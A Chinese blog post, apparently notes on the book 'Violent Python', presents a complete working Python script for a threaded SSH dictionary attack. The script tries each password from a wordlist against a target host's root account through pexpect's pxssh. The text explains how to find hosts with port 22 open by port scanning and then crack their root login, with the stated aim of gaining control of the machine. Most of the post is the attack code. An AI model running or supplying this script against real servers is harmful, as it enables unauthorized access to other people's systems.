【python】ssh密码字典攻击

学习《Python绝技——运用Python成为顶级黑客》的第二课

如何对ssh进行破解

ssh类似Windows下的telnet功能,如果服务器开启了ssh服务且允许使用密码登录,那么黑客就能够通过暴力破解或者字典攻击来获取目标的ssh密码,从而实现对目标主机的控制。

先把完整代码贴上来:

# -- coding: utf-8 --
#对目标IP地址进行ssh暴力破解
#输入方式:python ssh_cracker.py -H 127.0.0.1 -u root -F diction.txt
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections=5
connection_lock=BoundedSemaphore(value=maxConnections)
Found=False
Fails=0
def connect(host,user,password,release):
	global Found
	global Fails
	try:
		s=pxssh.pxssh()
		s.login(host,user,password)
		print '[+]Password Found:'+password
		Found=True
	except Exception,e:
		if 'read_nonblocking' in str(e):
			Fails+=1
			time.sleep(5)
			connect(host,user,password,False)
		elif 'synchronize with original prompt' in str(e):
			time.sleep(1)
			connect(host,user,password,False)
	finally:
		if release:
			connection_lock.release()
def main():
	parser=optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')
	parser.add_option('-H',dest='tgtHost',type='string',help='specify the target host')
	parser.add_option('-u',dest='user',type='string',help='specify the user')
	parser.add_option('-F',dest='passwords',type='string',help='specify the password file')
	(options, args)=parser.parse_args()
	host=options.tgtHost
	user=options.user
	passwords=options.passwords
	if host==None or user==None or passwords==None:
		print parser.usage
		exit(0)
	fn=open(passwords,'r')
	for line in fn.readlines():
		if Found:
			print '[*]Exiting: Password Found'
			exit(0)
			if Fails>5:
				print '[!]Exiting:Too many Socket Timeouts'
				exit(0)
		connection_lock.acquire()
		psw=line.strip('\r').strip('\n')
		print "[-] Testing :" +str(psw)
		t=Thread(target=connect, args=(host,user,psw,True))
		t.start()
if __name__=='__main__':
	main()

当然,在写代码之前必须先安装上pexpect这个库,使用debian类linux系统可以使用apt来获取相应的库,比较轻松简单。

该库中提供一个能够使用ssh登录的封装,使用该库只要提供主机、用户名、密码参数即可实现,所以该程序通过不断地加载字典中的每一行当做是密码,从而对root用户的密码进行破解,如果登录成功则会返回登陆成功信息,如果登录失败(提示超时则重复尝试登录5次,提示密码错误则进行下一组密码破解)

另外此程序中使用了线程,处理速度大大加快。

建议端口扫描和该程序配合使用。

使用端口扫描程序获取目标网域的端口开放信息(ssh服务的默认端口号为22),如果目标网域的22号端口开放,并且返回了相应的ssh服务版本号等信息,基本就可以确定该目标开启了ssh服务,然后使用该程序对ssh服务进行密码破解,成功使用root用户登录。

当然现在网络上的许多机器即使开启了ssh服务也不一定会允许root用户登录,有的甚至不允许密码登录,很多是使用密钥免密码登录,对于这种机器,还得另想法子。——比如。。。弱密钥。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值